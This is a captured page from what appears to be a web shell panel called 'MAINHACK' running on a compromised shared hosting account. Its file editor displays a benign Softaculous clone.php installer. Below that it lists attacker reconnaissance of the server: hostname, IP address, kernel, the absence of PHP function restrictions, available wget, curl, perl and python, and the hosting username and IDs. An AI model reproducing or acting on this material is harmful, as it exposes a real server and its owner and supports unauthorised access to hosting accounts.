[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: _clone.php
File is not writable. Editing disabled.
<?php ////////////////////////////////////////////////////////////// //=========================================================== // clone.php //=========================================================== // SOFTACULOUS // Version : 4.2.8 // Inspired by the DESIRE to be the BEST OF ALL // ---------------------------------------------------------- // Started by: Alons // Date: 10th Jan 2009 // Time: 21:00 hrs // Site: http://www.softaculous.com/ (SOFTACULOUS) // ---------------------------------------------------------- // Please Read the Terms of use at http://www.softaculous.com // ---------------------------------------------------------- //=========================================================== // (c)Softaculous Inc. //=========================================================== ////////////////////////////////////////////////////////////// if(!defined('SOFTACULOUS')){ die('Hacking Attempt'); } //The Install process function __clone(){ global $__settings, $error, $software, $globals, $replace_data, $source_data; //Do we meet the Minimum software requirements __requirements(); if(!empty($error)){ return false; } $temp = parse_url($source_data['softurl']); $source_data['relativeurl'] = $temp['path']; // $file = sfile($__settings['softpath'].'/user/config/security.yaml'); if(empty($file)){ $error[] = 'Could not read the required file.'; return false; } soft_preg_replace('/salt:(\s*?)(.*?)\n/is', $file, $salt, 2); $__settings['salt'] = __generateRandomString(14); if(!empty($salt)){ $replace_data[$salt] = $__settings['salt']; } sclone_replace($replace_data, $__settings['softpath'].'/user/config/security.yaml', true); if(sfile_exists($__settings['softpath'].'/.htaccess')){ // If the installation is on root domain we need to change the below relative URL if(is_dom_root($source_data['softpath'])){ $replace_data['RewriteBase \'/\''] = 'RewriteBase \''.$__settings['relativeurl'].'\''; $replace_data['RewriteBase /'] = 'RewriteBase '.$__settings['relativeurl']; }elseif(is_dom_root($__settings['softpath'])){ $replace_data['RewriteBase \''.$source_data['relativeurl'].'\''] = 'RewriteBase \'/\''; $replace_data['RewriteBase '.$source_data['relativeurl']] = 'RewriteBase /'; } sclone_replace($replace_data, $__settings['softpath'].'/.htaccess', true); } srm($__settings['softpath'].'/cache/'); smkdir($__settings['softpath'].'/cache/', $globals['odc']); swrite($__settings['softpath'].'/cache/.gitkeep', "", 1); @schmod($__settings['softpath'].'/cache/', $globals['odc'], 1); @schmod($__settings['softpath'].'/images/', $globals['odc'], 1); @schmod($__settings['softpath'].'/user/data/', $globals['odc'], 1); @schmod($__settings['softpath'].'/user/accounts/', $globals['odc'], 1); @schmod($__settings['softpath'].'/user/pages/', $globals['odc'], 1); @schmod($__settings['softpath'].'/user/themes/', $globals['odc'], 1); @schmod($__settings['softpath'].'/user/plugins/', $globals['odc'], 1); @schmod($__settings['softpath'].'/logs/', $globals['odc'], 1); @schmod($__settings['softpath'].'/tmp/', $globals['odc'], 1); @schmod($__settings['softpath'].'/backup/', $globals['odc']); @schmod($__settings['softpath'].'/bin/', $globals['odc'], 1); @schmod($__settings['softpath'].'/user/config/site.yaml', $globals['ofc']); @schmod($__settings['softpath'].'/user/config/media.yaml', $globals['ofc']); @schmod($__settings['softpath'].'/user/config/streams.yaml', $globals['ofc']); @schmod($__settings['softpath'].'/user/config/system.yaml', $globals['ofc']); @schmod($__settings['softpath'].'/user/config/themes/', $globals['odc']); @schmod($__settings['softpath'].'/user/config/scheduler.yaml', $globals['ofc']); @schmod($__settings['softpath'].'/user/config/backups.yaml', $globals['ofc']); } //Check whether the Minimum Software configuration matches function __requirements(){ global $__settings, $error, $software, $globals; return true; } /** * Generate a random string of a given length * * @param int $length * * @return string */ function __generateRandomString($length = 5) { return substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.1 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: N/A